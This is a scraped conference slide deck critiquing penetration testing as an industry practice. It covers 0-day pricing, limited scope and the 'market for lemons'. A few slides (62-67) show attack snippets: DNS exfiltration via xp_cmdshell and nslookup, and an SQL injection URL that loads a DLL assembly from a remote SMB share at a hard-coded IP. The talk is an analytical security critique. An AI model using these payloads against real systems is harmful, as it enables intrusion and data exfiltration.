penetra on tes ng considered harmful
play

Penetra'on Tes'ng Considered Harmful (haroon@thinkst.com) Who - PowerPoint PPT Presentation

Penetra'on Tes'ng Considered Harmful (haroon@thinkst.com) Who i am.. (& Why this talk?) haroon@thinkst.com Some Tools Some Papers Some Books So ? Some


  1. Penetra'on ¡Tes'ng ¡ Considered ¡Harmful (haroon@thinkst.com)

  2. Who ¡i ¡am.. ¡ (& ¡Why ¡this ¡talk?)

  3. • ¡haroon@thinkst.com ¡ • ¡Some ¡Tools • ¡Some ¡Papers • ¡Some ¡Books

  4. So ¡?

  5. Some ¡Experience ¡with: • Pen-­‑Tes'ng; • Teaching ¡Pen-­‑Tes'ng; • Recrui'ng ¡Pen-­‑Testers; • Tes'ng ¡Pen-­‑Testers.

  6. “we ¡are ¡doing ¡it ¡wrong”

  7. “Our ¡Upcoming ¡Security ¡Apocalypse” http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html

  8. • Impending Crisis • 1990‘s • 2000’s, • T oday http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html

  9. “Mission ¡Accomplished”

  10. Boards ¡Just ¡Don’t ¡know

  11. That ¡we ¡don’t ¡have ¡it ¡under ¡ control..

  12. That ¡mostly: We ¡Just ¡hoping ¡it ¡doesn’t ¡ happen ¡on ¡our ¡watch...

  13. Board ¡_is_ ¡doing ¡something

  14. • ¡Money ¡Changes ¡Hands; • ¡Surface ¡Level ¡Checks ¡& ¡Balances.

  15. But ¡we ¡haven’t ¡been ¡ hacked ¡yet ¡? It’s ¡worked ¡for ¡us ¡so ¡far. http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

  16. “every ¡day ¡that ¡goes ¡by ¡without ¡ something ¡like ¡that ¡happening ¡makes ¡ it ¡more ¡likely ¡that ¡it ¡never ¡will” http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

  17. “..what ¡it ¡does ¡most ¡assuredly ¡ do ¡is ¡make ¡it ¡more ¡surprising ¡ when ¡it ¡does ¡come” http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html

  18. Simple ¡Test

  19. We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-­‑tests ¡as ¡a ¡solu'on.

  20. We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-­‑tests ¡as ¡a ¡solu'on. We ¡now ¡have ¡2 ¡problems.

  21. Quick ¡Kills: ¡ ¡ ¡ -­‑ ¡Limited ¡Scopes ¡ ¡ ¡ -­‑ ¡Lame ¡Pen-­‑Testers ¡ ¡ ¡ -­‑ ¡Testers ¡Op-­‑Sec

  22. zf0 There ¡but ¡for ¡the ¡grace ¡of ¡god?

  23. I’m ¡saying, ¡even ¡with: -­‑Full ¡Scope; -­‑ ¡Elite ¡Testers; Pen-­‑Tes'ng ¡shouldn’t ¡be ¡your ¡first ¡Choice! * ¡Caveat

  24. * ¡Caveat -­‑ ¡Tes'ng ¡Response; -­‑ ¡Require ¡a ¡binary ¡answer;

  25. Quick ¡Poll

  26. Conducted ¡a ¡Pen-­‑Test ¡in ¡ the ¡past ¡2 ¡years ¡?

  27. How ¡many ¡0-­‑days ¡would ¡I ¡ need ¡to ¡access ¡your ¡crown ¡ jewels?

  28. Most ¡Common ¡Answer: ¡?

  29. Most ¡Common ¡Answer: ¡1

  30. Really ¡?

  31. 0-­‑day ¡& ¡Pen-­‑Tests

  32. 0-­‑day Overplayed ¡by ¡those ¡who ¡can; Underplayed ¡by ¡those ¡who ¡can’t; (almost ¡completely ¡inadequately ¡considered ¡by ¡*)

  33. We ¡don’t ¡need ¡0-­‑day ¡to ¡ break-­‑in!

  34. We ¡don’t ¡need ¡0-­‑day ¡to ¡ break-­‑in! The ¡point ¡wasn’t ¡just ¡to ¡see ¡ how ¡_you_ ¡would ¡break-­‑in!

  35. Do ¡aeackers ¡use ¡it ¡?

  36. Opera'on ¡Aurora

  37. HBGary

  38. HBGary ¡-­‑>

  39. Doesn’t ¡have ¡to ¡be ¡that ¡ expensive.. (aka: ¡how ¡to ¡price ¡a ¡0day)

  40. Charlie ¡Miller http://securityevaluators.com/files/papers/0daymarket.pdf

  41. 0Day ¡-­‑ ¡payDay http://securityevaluators.com/files/papers/0daymarket.pdf

  42. 0day ¡-­‑ ¡Variance http://securityevaluators.com/files/papers/0daymarket.pdf

  43. DDZ ¡reduces ¡this.. http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf

  44. $5k ¡< ¡x ¡< ¡$10k ¡?

  45. What ¡else ¡can ¡we ¡learn ¡ from ¡Pwn-­‑2-­‑Own ¡?

  46. ThinkstScapes - AdHoc Update TAH02

  47. The ¡Browser ¡as ¡the ¡Weakest ¡Link

  48. So ¡when ¡last ¡has ¡a ¡ vulnerable ¡browser ¡shown ¡ up ¡in ¡your ¡pen-­‑test ¡report?

  49. ms08-­‑067 ¡vs ¡current ¡flash ¡ version?

  50. What ¡JailBreakers ¡Teach ¡Us http://en.wikipedia.org/wiki/History_of_iOS_jailbreaking

  51. All ¡of ¡this ¡means ¡that ¡if ¡we ¡ are ¡failing ¡to ¡consider ¡0day, ¡ we ¡are ¡just ¡ignoring ¡reality.

  52. Aitel ¡says: ¡about ¡451 ¡hours ¡ to ¡create ¡a ¡good ¡0day ¡ exploit

  53. Crea'ng ¡an ¡0day ¡per ¡ engagement ¡is ¡unlikely

  54. ..and ¡s'll ¡doesn’t ¡solve ¡the ¡ problem.

  55. How ¡big ¡is ¡your ¡0day ¡ arsenal?

  56. ?

  57. ? ?

  58. ? ? ?

  59. Again: If ¡we ¡are ¡going ¡to ¡simulate ¡the ¡(real) ¡ threat, ¡we ¡_have_ ¡to ¡consider ¡0day. (How ¡do ¡we ¡defend ¡against ¡this?)

  60. These ¡days ¡we ¡just ¡ simulate ¡other ¡pen-­‑testers..

  61. Professional ¡Pen-­‑Testers..

  62. DNS ¡Extrusion ¡-­‑ ¡“Useful”

  63. DNS ¡Extrusion ¡-­‑ ¡“Useful” nslookup moooooo.thinkst.com

  64. DNS ¡Extrusion ¡(07) Inspired by Sec-1 - Automagic SQL Injector.. 1.Extract data (sql query / xp_cmdshell / etc) 2.Store into new table 3.Do some very ugly T-SQL to iterate through each line, encode all results and make them dns Friendly. 4.Call xp_cmdshell(“nslookup random_company.com”) 5.Sniff Results --> Profit! http://www.sensepost.com/research/squeeza/

  65. http://www.sensepost.com/research/reduh/

  66. hep://vic'm2k3.tst.com/login.asp? ¡username=boo&password =boo'%20 CREATE %20 ASSEMBLY %20 moo %20 FROM %20' \ \196.31.150.117\temp_smb\moo.dll '—

  67. 1. ¡File.open("moo.dll”,"rb").read().unpack("H*") == ¡["4d5a90000300000004000000ffff0......] ¡ 2. ¡CREATE ¡ASSEMBLY ¡moo ¡FROM ¡0x4d5a90000300....

  68. This ¡is ¡a ¡classic ¡example ¡of “Draining ¡the ¡Swamp”

  69. We ¡are ¡focusing ¡on ¡ figh'ng ¡the ¡Alligators. (We ¡are ¡great ¡at ¡it!)

  70. A ¡problem ¡we ¡keep ¡bumping ¡ into: ¡Coverage

  71. Let’s ¡look ¡at ¡an ¡example:

  72. 0day ¡Crew

  73. SQLi ¡-­‑ ¡Pass ¡ReUse

  74. Phishing

  75. All ¡3 ¡would ¡be ¡good ¡ pen-­‑test ¡results

  76. Possible ¡to ¡be ¡perfectly ¡pleased, perfectly ¡pwned, and ¡s'll ¡perfectly ¡pwnable!

  77. Pen-­‑Tes'ng ¡Companies a ¡“market ¡for ¡lemons” http://hydrogen.its.ucdavis.edu/eec/education/EEC-classes/eeclimate/ class-readings/akerlof-the%20market%20for%20lemons.pdf

  78. For Sale

  79. ? ? ? ? ? ? ? For Sale (Customer View)

  80. For Sale

  81. For Sale

  82. For Sale

  83. • ¡Incomplete ¡coverage; • ¡Avoid ¡the ¡0day ¡ques'on; • ¡Avoiding ¡highly ¡likely ¡aeacks; • ¡Misaligned ¡Goals; • ¡Market ¡for ¡Lemons...

  84. So ¡why ¡are ¡we ¡s'll ¡doing ¡it?

  85. • ¡It’s ¡easy ¡(these ¡days) ¡to ¡sell; • ¡It ¡feels ¡like ¡we ¡are ¡doing ¡something; • ¡It ¡delivers ¡a ¡result. (even ¡if ¡its ¡a ¡ques=onable ¡one)

  86. Hill ¡Climbing ¡Problem..

  87. Alterna'ves?

  88. http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend